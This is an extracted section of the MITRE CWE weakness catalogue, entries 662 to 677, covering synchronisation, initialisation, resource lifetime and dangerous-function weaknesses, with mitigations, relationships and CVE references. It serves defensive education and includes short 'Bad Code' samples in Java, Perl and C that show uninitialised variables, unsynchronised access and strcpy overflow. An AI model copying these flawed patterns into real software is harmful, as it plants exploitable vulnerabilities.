Wv	616	Incomplete Identification of Uploaded File Variables (PHP)
We	621	Variable Extraction Error
We	624	Executable Regular Expression Error
We	625	Permissive Regular Expression
Wv	626	Null Byte Interaction Error (Poison Null Byte)
We	627	Dynamic Variable Evaluation

CWE-662: Insufficient Synchronization

Weakness ID: 662 *(Weakness Base)* **Status:** Draft

Description

Summary

The software attempts to use a shared resource in an exclusive manner, but fails to prevent use by another thread or process.

Time of Introduction

- Architecture and Design
- Implementation

Potential Mitigations

Use industry standard APIs to synchronize your code.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	361	Time and State	**699**	382
CanPrecede	We	362	Race Condition	699 1000	383
ChildOf	We	691	Insufficient Control Flow Management	**1000**	682
ChildOf	C	745	CERT C Secure Coding Section 11 - Signals (SIG)	**734**	729
ParentOf	We	*373*	*State Synchronization Error*	***1000***	*398*
ParentOf	Wv	*543*	*Use of Singleton Pattern in a Non-thread-safe Manner*	***1000***	*549*
ParentOf	We	*567*	*Unsynchronized Access to Shared Data*	***1000***	*566*
ParentOf	We	*663*	*Use of a Non-reentrant Function in an Unsynchronized Context*	***1000***	*651*
ParentOf	We	*667*	*Insufficient Locking*	***699*** ***1000***	*657*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C Secure Coding	SIG00-C	Mask signals handled by noninterruptible signal handlers
CERT C Secure Coding	SIG31-C	Do not access or modify shared objects in signal handlers

Related Attack Patterns

CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
25	Forced Deadlock
26	Leveraging Race Conditions
27	Leveraging Race Conditions via Symbolic Links
29	Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions

CWE-663: Use of a Non-reentrant Function in an Unsynchronized Context

Weakness ID: 663 *(Weakness Base)* **Status:** Draft

Description

Summary

The software calls a non-reentrant function in a context where a competing thread may have an opportunity to call the same function or otherwise influence its state.

Time of Introduction

- Architecture and Design
- Implementation

Potential Mitigations

Use reentrant functions if available.

Add synchronization to your non-reentrant function.

In Java, you can use the ReentrantLock Class.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	361	Time and State	**699**	382
ChildOf	Weakness	662	Insufficient Synchronization	**1000**	651
ParentOf	Weakness	*558*	*Use of getlogin() in Multithreaded Application*	***1000***	*559*

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
29	Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions	

References

Java Concurrency API, SUN. "Class ReentrantLock". < http://java.sun.com/j2se/1.5.0/docs/api/java/util/concurrent/locks/ReentrantLock.html >.

Dipak Jha (dipakjha@in.ibm.com), Software Engineer, IBM. "Use reentrant functions for safer signal handling". < http://www.ibm.com/developerworks/linux/library/l-reent.html >.

CWE-664: Insufficient Control of a Resource Through its Lifetime

Weakness ID: 664 *(Weakness Class)* **Status:** Draft

Description

Summary

The software does not properly maintain control over a resource throughout its lifetime of creation, use, and release.

Extended Description

Resources often have explicit instructions on how to be created, used and destroyed. When software fails to follow these instructions, it can lead to unexpected behaviors and potentially exploitable states.

Even without explicit instructions, various principles are expected to be adhered to, such as "Do not use an object until after its creation is complete," or "do not use an object after it has been slated for destruction."

Time of Introduction

- Implementation

Potential Mitigations

Use Static analysis tools to check for unreleased resources.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	361	Time and State	**699**	382
ParentOf	Weakness	*221*	*Information Loss or Omission*	***1000***	*250*
ParentOf	Weakness	*282*	*Improper Ownership Management*	***1000***	*307*
ParentOf	Weakness	*286*	*Incorrect User Management*	***1000***	*312*
ParentOf	Weakness	*400*	*Uncontrolled Resource Consumption ('Resource Exhaustion')*	***1000***	*425*
ParentOf	Weakness	*404*	*Improper Resource Shutdown or Release*	***1000***	*431*
ParentOf	Weakness	*405*	*Asymmetric Resource Consumption (Amplification)*	***1000***	*435*
ParentOf	Weakness	*410*	*Insufficient Resource Pool*	***1000***	*438*
ParentOf	Weakness	*427*	*Uncontrolled Search Path Element*	***1000***	*456*

Nature	Type	ID	Name	V	Page
ParentOf	W	428	Unquoted Search Path or Element	1000	457
ParentOf	W	471	Modification of Assumed-Immutable Data (MAID)	1000	492
ParentOf	W	485	Insufficient Encapsulation	1000	508
ParentOf	W	514	Covert Channel	1000	533
ParentOf	W	610	Externally Controlled Reference to a Resource in Another Sphere	1000	597
ParentOf	W	665	Improper Initialization	1000	653
ParentOf	W	666	Operation on Resource in Wrong Phase of Lifetime	1000	656
ParentOf	W	667	Insufficient Locking	1000	657
ParentOf	W	668	Exposure of Resource to Wrong Sphere	1000	658
ParentOf	W	669	Incorrect Resource Transfer Between Spheres	1000	659
ParentOf	W	673	External Influence of Sphere Definition	1000	661
ParentOf	W	704	Incorrect Type Conversion or Cast	1000	707
ParentOf	W	771	Missing Reference to Active Allocated Resource	1000	
MemberOf	V	1000	Research Concepts	1000	737

Related Attack Patterns

CAPEC-ID	Attack Pattern Name (CAPEC Version 1.2)
21	Exploitation of Session Variables, Resource IDs and other Trusted Credentials
60	Reusing Session IDs (aka Session Replay)
61	Session Fixation
62	Cross Site Request Forgery (aka Session Riding)

Maintenance Notes

More work is needed on this node and its children. There are perspective/layering issues; for example, one breakdown is based on lifecycle phase (CWE-404, CWE-665), while other children are independent of lifecycle, such as CWE-400. Others do not specify as many bases or variants, such as CWE-704, which primarily covers numbers at this stage.

CWE-665: Improper Initialization

Weakness ID: 665 *(Weakness Base)* **Status:** Draft

Description

Summary

The software does not follow the proper procedures for initializing a resource, which might leave the resource in an improper state when it is accessed or used.

Extended Description

This can have security implications when the associated resource is expected to have certain properties or values, such as a variable that determines whether a user has been authenticated or not.

Time of Introduction

- Implementation
- Operation

Applicable Platforms

Languages

- All

Modes of Introduction

This weakness can occur in code paths that are not well-tested, such as rare error conditions. This is because the use of uninitialized data would be noticed as a bug during frequently-used functionality.

Common Consequences

Confidentiality

When reusing a resource such as memory or a program variable, the original contents of that resource may not be cleared before it is sent to an untrusted party.

Integrity

The uninitialized data may contain values that cause program flow to change in ways that the programmer did not intend. For example, if an uninitialized variable is used as an array index in C, then its previous contents may produce an index that is outside the range of the array.

Alternately, if security-critical decisions rely on a variable having a "0" or equivalent value, and the programming language performs this initialization on behalf of the programmer, then a bypass of security may occur.

Availability

The resource may have values that the program did not expect, causing erroneous code paths to be exercised and leading to a crash or exit.

Likelihood of Exploit

Medium

Demonstrative Examples

Example 1:

Here, a boolean initiailized field is consulted to ensure that initialization tasks are only completed once. However, the field is mistakenly set to true during static initialization, so the initialization code is never reached.

Java Example: *Bad Code*

```
private boolean initialized = true;
public void someMethod() {
  if (!initialized) {
    // perform initialization tasks
    ...
    initialized = true;
  }
```

Example 2:

The following code intends to limit certain operations to the administrator only.

Perl Example: *Bad Code*

```
$username = GetCurrentUser();
$state = GetStateData($username);
if (defined($state)) {
  $uid = ExtractUserID($state);
}
# do stuff
if ($uid == 0) {
  DoAdminThings();
}
```

If the application is unable to extract the state information - say, due to a database timeout - then the $uid variable will not be explicitly set by the programmer. This will cause $uid to be regarded as equivalent to "0" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident.

Example 3:

The following code intends to concatenate a string to a variable and print the string.

C Example: *Bad Code*

```
char str[20];
strcat(str, "hello world");
printf("%s", str);
```

This might seem innocent enough, but str was not initialized, so it contains random memory. As a result, str[0] might not contain the null terminator, so the copy might start at an offset other than 0. The consequences can vary, depending on the underlying memory.

If a null terminator is found before str[8], then some bytes of random garbage will be printed before the "hello world" string. The memory might contain sensitive information from previous uses, such as a password (which might occur as a result of CWE-14 or CWE-244). In this example, it might

not be a big deal, but consider what could happen if large amounts of memory are printed out before the null terminator is found.

If a null terminator isn't found before str[8], then a buffer overflow could occur, since strcat will first look for the null terminator, then copy 12 bytes starting with that location. Alternately, a buffer over-read might occur (CWE-126) if a null terminator isn't found before the end of the memory segment is reached, leading to a segmentation fault and crash.

Observed Examples

Reference	Description
CVE-2001-1471	chain: an invalid value prevents a library file from being included, skipping initialization of key variables, leading to resultant eval injection.
CVE-2005-1036	Permission bitmap is not properly initialized, leading to resultant privilege elevation or DoS.
CVE-2007-3749	OS kernel does not reset a port when starting a setuid program, allowing local users to access the port and gain privileges.
CVE-2008-0062	Lack of initialization triggers NULL pointer dereference or double-free.
CVE-2008-0063	Product does not clear memory contents when generating an error message, leading to information leak.
CVE-2008-0081	Uninitialized variable leads to code execution in popular desktop application.
CVE-2008-2934	Free of an uninitialized pointer leads to crash and possible code execution.
CVE-2008-3475	chain: Improper initialization leads to memory corruption.
CVE-2008-3637	Improper error checking in protection mechanism produces an uninitialized variable, allowing security bypass and code execution.
CVE-2008-3688	chain: Uninitialized variable leads to infinite loop.
CVE-2008-4197	Use of uninitialized memory may allow code execution.
CVE-2008-5021	Composite: race condition allows attacker to modify an object while it is still being initialized, causing software to access uninitialized memory.

Potential Mitigations

Requirements

Use a language with features that can automatically mitigate or eliminate weaknesses related to initialization.

For example, in Java, if the programmer does not explicitly initialize a variable, then the code could produce a compile-time error (if the variable is local) or automatically initialize the variable to the default value for the variable's type. In Perl, if explicit initialization is not performed, then a default value of undef is assigned, which is interpreted as 0, false, or an equivalent value depending on the context in which the variable is accessed.

Architecture and Design

Identify all variables and data stores that receive information from external sources, and apply input validation to make sure that they are only initialized to expected values.

Implementation

Explicitly initialize all your variables and other data stores, either during declaration or just before the first usage.

Implementation

Pay close attention to complex conditionals that affect initialization, since some conditions might not perform the initialization.

Implementation

Avoid race conditions (CWE-362) during initialization routines.

Build and Compilation

Run or compile your software with settings that generate warnings about uninitialized variables or data.

Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Testing

Stress-test the software by calling it simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Testing

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Resultant *(where the weakness is typically related to the presence of some other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	452	Initialization and Cleanup Errors	**699**	474
ChildOf	We	664	Improper Control of a Resource Through its Lifetime	**1000**	652
ChildOf	C	740	CERT C Secure Coding Section 06 - Arrays (ARR)	**734**	726
ChildOf	C	742	CERT C Secure Coding Section 08 - Memory Management (MEM)	734	727
ChildOf	C	752	Risky Resource Management	**750**	733
ParentOf	We	*453*	*Insecure Default Variable Initialization*	***1000***	*475*
ParentOf	We	*454*	*External Initialization of Trusted Variables*	***1000***	*476*
ParentOf	We	*455*	*Non-exit on Failed Initialization*	*1000*	*477*
ParentOf	We	*456*	*Missing Initialization*	***1000***	*477*
ParentOf	We	*770*	*Allocation of Resources Without Limits or Throttling*	***1000***	

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Incorrect initialization
CERT C Secure Coding	ARR02-C	Explicitly specify array bounds, even if implicitly defined by an initializer
CERT C Secure Coding	MEM09-C	Do not assume memory allocation routines initialize memory

References

mercy. "Exploiting Uninitialized Data". Jan 2006. < http://www.felinemenace.org/~mercy/papers/UBehavior/UBehavior.zip >.

Microsoft Security Vulnerability Research & Defense. "MS08-014 : The Case of the Uninitialized Stack Variable Vulnerability". 2008-03-11. < http://blogs.technet.com/swi/archive/2008/03/11/the-case-of-the-uninitialized-stack-variable-vulnerability.aspx >.

CWE-666: Operation on Resource in Wrong Phase of Lifetime

Weakness ID: 666 *(Weakness Base)* **Status:** Draft

Description

Summary

The software performs an operation on a resource at the wrong phase of the resource's lifecycle, which can lead to unexpected behaviors.

Extended Description

When a developer wants to initialize, use or release a resource, it is important to follow the specifications outlined for how to operate on that resource and to ensure that the resource is in the expected state. In this case, the software wants to perform a normally valid operation, initialization, use or release, on a resource when it is in the incorrect phase of its lifetime.

Time of Introduction

- Implementation
- Operation

Potential Mitigations

Follow the resource's lifecycle from creation to release.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WC	664	Improper Control of a Resource Through its Lifetime	**1000**	652
ParentOf	WV	*415*	*Double Free*	***1000***	*442*
ParentOf	WV	*593*	*Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created*	***1000***	*583*
ParentOf	WE	*605*	*Multiple Binds to the Same Port*	*1000*	*593*
ParentOf	WE	*672*	*Use of a Resource after Expiration or Release*	***1000***	*660*

CWE-667: Insufficient Locking

Weakness ID: 667 *(Weakness Base)* **Status:** Draft

Description

Summary

The software does not properly acquire a lock on a resource, leading to unexpected resource state changes and behaviors.

Time of Introduction

- Architecture and Design
- Implementation

Demonstrative Examples

In the following Java snippet, methods are defined to get and set a long field in an instance of a class that is shared across multiple threads. Because operations on double and long are nonatomic in Java, concurrent access may cause unexpected behavior. Thus, all operations on long and double fields should be synchronized.

Java Example: *Bad Code*

```
private long someLongValue;
public long getLongValue() {
  return someLongValue;
}
public void setLongValue(long l) {
  someLongValue = l;
}
```

Potential Mitigations

Use industry standard APIs to implement locking mechanism.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WE	662	Insufficient Synchronization	**699** **1000**	651
ChildOf	WC	664	Improper Control of a Resource Through its Lifetime	1000	652
ChildOf	C	748	CERT C Secure Coding Section 50 - POSIX (POS)	**734**	731
ParentOf	WE	*412*	*Unrestricted Lock on Critical Resource*	***1000***	*440*
ParentOf	WE	*413*	*Insufficient Resource Locking*	***1000***	*441*
ParentOf	WE	*414*	*Missing Lock Check*	***1000***	*442*
ParentOf	WE	*609*	*Double-Checked Locking*	*1000*	*596*
ParentOf	WV	*764*	*Multiple Locks of a Critical Resource*	***699***	

Nature	Type	ID	Name	V	Page
				1000	
ParentOf		*765*	*Multiple Unlocks of a Critical Resource*	***699*** ***1000***	

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C Secure Coding	POS31-C	Do not unlock or destroy another thread's mutex

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
26	Leveraging Race Conditions	
27	Leveraging Race Conditions via Symbolic Links	

CWE-668: Exposure of Resource to Wrong Sphere

Weakness ID: 668 *(Weakness Class)* **Status:** Draft

Description

Summary

The product exposes a resource to the wrong sphere, in ways that are not related to incorrectly specified permissions.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Other Notes

A "control sphere" is a set of resources and behaviors that are accessible to a single actor, or a group of actors. A product's security model will typically define multiple spheres, possibly implicitly. For example, a server might define one sphere for "administrators" who can create new user accounts with subdirectories under /home/server/, and a second sphere might cover the set of users who can create or delete files within their own subdirectories. A third sphere might be "users who are authenticated to the operating system on which the product is installed." Each sphere has different sets of actors and allowable behaviors.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		361	Time and State	**699**	382
ChildOf		664	Improper Control of a Resource Through its Lifetime	**1000**	652
ParentOf		*8*	*J2EE Misconfiguration: Entity Bean Declared Remote*	***1000***	*5*
ParentOf		*22*	*Path Traversal*	*1000*	*22*
ParentOf		*200*	*Information Leak (Information Disclosure)*	***1000***	*230*
ParentOf		*219*	*Sensitive Data Under Web Root*	***1000***	*249*
ParentOf		*220*	*Sensitive Data Under FTP Root*	***1000***	*249*
ParentOf		*269*	*Improper Privilege Management*	*1000*	*295*
ParentOf		*374*	*Mutable Objects Passed by Reference*	***1000***	*400*
ParentOf		*375*	*Passing Mutable Objects to an Untrusted Method*	***1000***	*401*
ParentOf		*377*	*Insecure Temporary File*	***1000***	*402*
ParentOf		*402*	*Transmission of Private Resources into a New Sphere ('Resource Leak')*	***1000***	*430*
ParentOf		*419*	*Unprotected Primary Channel*	***1000***	*448*
ParentOf		*420*	*Unprotected Alternate Channel*	***1000***	*448*
ParentOf		*491*	*Public cloneable() Method Without Final ('Object Hijack')*	***1000***	*514*
ParentOf		*492*	*Use of Inner Class Containing Sensitive Data*	***1000***	*515*
ParentOf		*493*	*Critical Public Variable Without Final Modifier*	***1000***	*516*
ParentOf		*522*	*Insufficiently Protected Credentials*	***1000***	*537*
ParentOf		*549*	*Missing Password Field Masking*	***1000***	*553*
ParentOf		*552*	*Files or Directories Accessible to External Parties*	***1000***	*555*
ParentOf		*565*	*Use of Cookies in Security Decision*	*1000*	*564*
ParentOf		*582*	*Array Declared Public, Final, and Static*	***1000***	*575*

Nature	Type	ID	Name	V	Page
ParentOf	WM	*583*	*finalize() Method Declared Public*	***1000***	*576*
ParentOf	WM	*608*	*Struts: Non-private Field in ActionForm Class*	***1000***	*595*
ParentOf	WC	*642*	*External Control of Critical State Data*	***1000***	*625*
ParentOf		*689*	*Permission Race Condition During Resource Copy*	***1000***	*680*
ParentOf	WC	*732*	*Incorrect Permission Assignment for Critical Resource*	***1000***	*721*
ParentOf	WM	*766*	*Critical Variable Declared Public*	***1000***	
ParentOf	WM	*767*	*Access to Critical Private Variable via Public Method*	***1000***	

Relevant Properties

- Accessibility

CWE-669: Incorrect Resource Transfer Between Spheres

Weakness ID: 669 *(Weakness Class)* **Status:** Draft

Description

Summary

The product does not properly transfer a resource/behavior to another sphere, or improperly imports a resource/behavior from another sphere, in a manner that provides unintended control over that resource.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Other Notes

A "control sphere" is a set of resources and behaviors that are accessible to a single actor, or a group of actors. A product's security model will typically define multiple spheres, possibly implicitly. For example, a server might define one sphere for "administrators" who can create new user accounts with subdirectories under /home/server/, and a second sphere might cover the set of users who can create or delete files within their own subdirectories. A third sphere might be "users who are authenticated to the operating system on which the product is installed." Each sphere has different sets of actors and allowable behaviors.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	B	361	Time and State	**699**	382
ChildOf	WC	664	Improper Control of a Resource Through its Lifetime	**1000**	652
ParentOf	WM	*243*	*Failure to Change Working Directory in chroot Jail*	***1000***	*264*
CanFollow	WM	*244*	*Failure to Clear Heap Memory Before Release ('Heap Inspection')*	*1000*	*266*
ParentOf		*434*	*Unrestricted File Upload*	***1000***	*461*
ParentOf	WE	*494*	*Download of Code Without Integrity Check*	***1000***	*518*
ParentOf	WE	*602*	*Client-Side Enforcement of Server-Side Security*	***1000***	*590*

Relevant Properties

- Accessibility

CWE-670: Always-Incorrect Control Flow Implementation

Weakness ID: 670 *(Weakness Class)* **Status:** Draft

Description

Summary

The code contains a control flow path that does not reflect the algorithm that the path is intended to implement, leading to incorrect behavior any time this path is navigated.

Extended Description

This weakness captures cases in which a particular code segment is always incorrect with respect to the algorithm that it is implementing. For example, if a C programmer intends to include multiple statements in a single block but does not include the enclosing braces (CWE-483), then

the logic is always incorrect. This issue is in contrast to most weaknesses in which the code usually behaves correctly, except when it is externally manipulated in malicious ways.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Other Notes

This issue typically appears in rarely-tested code, since the "always-incorrect" nature will be detected as a bug during normal usage.

This node could possibly be split into lower-level nodes. "Early Return" is for returning control to the caller too soon (e.g., CWE-584). "Excess Return" is when control is returned too far up the call stack (CWE-600, CWE-395). "Improper control limitation" occurs when the product maintains control at a lower level of execution, when control should be returned "further" up the call stack (CWE-455). "Incorrect syntax" covers code that's "just plain wrong" such as CWE-484 and CWE-483.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	691	Insufficient Control Flow Management	**1000**	682
ParentOf	We	*480*	*Use of Incorrect Operator*	***1000***	*503*
ParentOf	Wv	*483*	*Incorrect Block Delimitation*	***1000***	*506*
ParentOf	We	*484*	*Omitted Break Statement in Switch*	***1000***	*507*
ParentOf	Wv	*617*	*Reachable Assertion*	***1000***	*603*
ParentOf	We	*698*	*Redirect Without Exit*	*1000*	*688*

CWE-671: Lack of Administrator Control over Security

Weakness ID: 671 *(Weakness Class)* **Status:** Draft

Description

Summary

The product uses security features in a way that prevents the product's administrator from tailoring security settings to reflect the environment in which the product is being used. This introduces resultant weaknesses or prevents it from operating at a level of security that is desired by the administrator.

Extended Description

If the product's administrator does not have the ability to manage security-related decisions at all times, then protecting the product from outside threats - including the product's developer - can become impossible. For example, a hard-coded account name and password cannot be changed by the administrator, thus exposing that product to attacks that the administrator can not prevent.

Time of Introduction

- Architecture and Design
- Implementation

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	657	Violation of Secure Design Principles	**699** **1000**	645
ParentOf	We	*259*	*Hard-Coded Password*	*1000*	*283*
ParentOf	We	*321*	*Use of Hard-coded Cryptographic Key*	*1000*	*344*
ParentOf	We	*447*	*Unimplemented or Unsupported Feature in UI*	***1000***	*471*

Relevant Properties

- Accessibility

CWE-672: Use of a Resource after Expiration or Release

Weakness ID: 672 *(Weakness Base)* **Status:** Draft

Description

Summary

The software fails to renew or discontinue the use of a resource after expiration, release or revocation.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	361	Time and State	**699**	382
ChildOf	W	666	Operation on Resource in Wrong Phase of Lifetime	**1000**	656
ParentOf	W	*298*	*Improper Validation of Certificate Expiration*	***1000***	*324*
ParentOf	W	*324*	*Use of a Key Past its Expiration Date*	***1000***	*348*
ParentOf	W	*416*	*Use After Free*	***1000***	*445*
ParentOf	W	*562*	*Return of Stack Variable Address*	***1000***	*562*
ParentOf	W	*613*	*Insufficient Session Expiration*	***1000***	*599*

CWE-673: External Influence of Sphere Definition

Weakness ID: 673 *(Weakness Class)* **Status:** Draft

Description

Summary

The product does not prevent the definition of control spheres from external actors.

Extended Description

Typically, a product defines its control sphere within the code itself, or through configuration by the product's administrator. In some cases, an external party can change the definition of the control sphere. This is typically a resultant weakness.

Time of Introduction

- Architecture and Design
- Implementation

Demonstrative Examples

Example 1:

Consider a blog publishing tool, which might have three explicit control spheres: the creation of articles, only accessible to a "publisher;" commenting on articles, only accessible to a "commenter" who is a registered user; and reading articles, only accessible to an anonymous reader. Suppose that the application is deployed on a web server that is shared with untrusted parties. If a local user can modify the data files that define who a publisher is, then this user has modified the control sphere. In this case, the issue would be resultant from another weakness such as insufficient permissions.

Example 2:

In Untrusted Search Path (CWE-426), a user might be able to define the PATH environment variable to cause the product to search in the wrong directory for a library to load. The product's intended sphere of control would include "resources that are only modifiable by the person who installed the product." The PATH effectively changes the definition of this sphere so that it overlaps the attacker's sphere of control.

Other Notes

A "control sphere" is a set of resources and behaviors that are accessible to a single actor, or a group of actors. A product's security model will typically define multiple spheres, possibly implicitly. For example, a server might define one sphere for "administrators" who can create new user accounts with subdirectories under /home/server/, and a second sphere might cover the set of users who can create or delete files within their own subdirectories. A third sphere might be "users who are authenticated to the operating system on which the product is installed." Each sphere has different sets of actors and allowable behaviors.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		361	Time and State	**699**	382
ChildOf		664	Improper Control of a Resource Through its Lifetime	**1000**	652
ParentOf		*426*	*Untrusted Search Path*	*1000*	*453*
ParentOf		*611*	*Information Leak Through XML External Entity File Disclosure*	***1000***	*598*

Relevant Properties

- Mutability

CWE-674: Uncontrolled Recursion

Weakness ID: 674 *(Weakness Base)* **Status:** Draft

Description

Summary

The product does not properly control the amount of recursion that takes place, which consumes excessive resources, such as allocated memory or the program stack.

Alternate Terms

Stack Exhaustion

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Availability

Resources including CPU, memory, and stack memory could be rapidly consumed or exhausted, eventually leading to an exit or crash.

Confidentiality

In some cases, an application's interpreter might kill a process or thread that appears to be consuming too much resources, such as with PHP's memory_limit setting. When the interpreter kills the process/thread, it might report an error containing detailed information such as the application's installation path.

Observed Examples

Reference	Description
CVE-2007-1285	Deeply nested arrays trigger stack exhaustion.
CVE-2007-3409	Self-referencing pointers create infinite loop and resultant stack exhaustion.

Potential Mitigations

Limit the number of recursive calls to a reasonable number.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		361	Time and State	**699**	382
ChildOf		691	Insufficient Control Flow Management	**1000**	682
ChildOf		730	OWASP Top Ten 2004 Category A9 - Denial of Service	**711**	720

Affected Resources

- CPU

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service

Related Attack Patterns

CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
82	Violating Implicit Assumptions Regarding XML Content (aka XML Denial of Service (XDoS))
99	XML Parser Attack

CWE-675: Duplicate Operations on Resource

Weakness ID: 675 *(Weakness Class)* **Status:** Draft

Description

Summary

The product performs the same operation on a resource two or more times, when the operation should only be applied once.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Other Notes

This weakness is probably closely associated with other issues related to doubling, such as CWE-462 (duplicate key in alist) or CWE-102 (Struts duplicate validation forms). It's usually a case of an API contract violation (CWE-227).

Relationships

Nature	Type	ID	Name	V	Page
PeerOf	W	102	Struts: Duplicate Validation Forms	1000	120
PeerOf	W	227	Failure to Fulfill API Contract ('API Abuse')	1000	254
ChildOf	W	573	Failure to Follow Specification	**1000**	570
PeerOf	W	586	Explicit Call to Finalize()	1000	578
ChildOf	C	743	CERT C Secure Coding Section 09 - Input Output (FIO)	**734**	728
PeerOf	W	*85*	*Doubled Character XSS Manipulations*	*1000*	*95*
ParentOf	W	*174*	*Double Decoding of the Same Data*	***1000***	*202*
ParentOf	W	*415*	*Double Free*	*1000*	*442*
ParentOf	W	*605*	*Multiple Binds to the Same Port*	***1000***	*593*
ParentOf	W	*764*	*Multiple Locks of a Critical Resource*	*1000*	
ParentOf	W	*765*	*Multiple Unlocks of a Critical Resource*	*1000*	

Relevant Properties

- Uniqueness

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C Secure Coding	FIO31-C	Do not simultaneously open the same file multiple times

CWE-676: Use of Potentially Dangerous Function

Weakness ID: 676 *(Weakness Base)* **Status:** Draft

Description

Summary

The program invokes a potentially dangerous function that could introduce a vulnerability if it is used incorrectly, but the function can also be used safely.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- C
- C++

Likelihood of Exploit

High

Demonstrative Examples

The strcpy() function in C is an excellent example of a potentially dangerous function because of the danger of introducing a buffer overflow vulnerability.

C Example: *Bad Code*

```
void manipulate(char *buffer) {
  char newbuffer[80];
  strcpy(newbuffer, buffer);
}
```

Potential Mitigations

Use static analysis tools to spot use/misuse of the dangerous function.

Other Notes

This weakness is different than CWE-242 (Use of Inherently Dangerous Function). CWE-242 covers functions with such significant security problems that they can never be guaranteed to be safe. Some functions, if used properly, do not directly pose a security risk, but can introduce a weakness if not called correctly. These are regarded as potentially dangerous. A well-known example is the strcpy() function. When provided with a destination buffer that is larger than its source, strcpy() will not overflow. However, it is so often misused that some developers prohibit strcpy() entirely.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	398	Indicator of Poor Code Quality	**699** **1000**	423
ChildOf	C	738	CERT C Secure Coding Section 04 - Integers (INT)	**734**	726
ChildOf	C	743	CERT C Secure Coding Section 09 - Input Output (FIO)	734	728
ChildOf	C	746	CERT C Secure Coding Section 12 - Error Handling (ERR)	734	730

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Dangerous Functions
CERT C Secure Coding	ERR07-C	Prefer functions that support error checking over equivalent functions that don't
CERT C Secure Coding	FIO01-C	Be careful using functions that use file names for identification
CERT C Secure Coding	INT06-C	Use strtol() or a related function to convert a string token to an integer

CWE-677: Weakness Base Elements

View ID: 677 *(View: Implicit Slice)* **Status:** Draft

Objective

This view (slice) displays only weakness base elements.

View Data

Filter Used:

.//@Weakness_Abstraction='Base'

View Metrics

	CWEs in this view		Total CWEs
Total	**297**	out of	777
Views	0	out of	22
Categories	0	out of	105
Weaknesses	297	out of	638
Compound_Elements	0	out of	12

CWEs Included in this View

Type	ID	Name
Wa	14	Compiler Removal of Code to Clear Buffers
Wa	15	External Control of System or Configuration Setting
Wa	23	Relative Path Traversal

Type	ID	Name
We	36	Absolute Path Traversal
We	41	Failure to Resolve Path Equivalence
We	59	Failure to Resolve Links Before File Access (aka 'Link Following')
We	66	Improper Handling of File Names that Identify Virtual Resources
We	76	Failure to Resolve Equivalent Special Elements into a Different Plane
We	78	Failure to Preserve OS Command Structure (aka 'OS Command Injection')
We	79	Failure to Preserve Web Page Structure (aka 'Cross-site Scripting')
We	88	Argument Injection or Modification
We	89	Failure to Preserve SQL Query Structure (aka 'SQL Injection')
We	90	Failure to Sanitize Data into LDAP Queries (aka 'LDAP Injection')
We	91	XML Injection (aka Blind XPath Injection)
We	92	Insufficient Sanitization of Custom Special Characters
We	93	Failure to Sanitize CRLF Sequences (aka 'CRLF Injection')
We	95	Insufficient Control of Directives in Dynamically Evaluated Code (aka 'Eval Injection')
We	96	Insufficient Control of Directives in Statically Saved Code (Static Code Injection)
We	97	Failure to Sanitize Server-Side Includes (SSI) Within a Web Page
We	99	Insufficient Control of Resource Identifiers (aka 'Resource Injection')
We	111	Direct Use of Unsafe JNI
We	112	Missing XML Validation
We	113	Failure to Sanitize CRLF Sequences in HTTP Headers (aka 'HTTP Response Splitting')
We	114	Process Control
We	115	Misinterpretation of Input
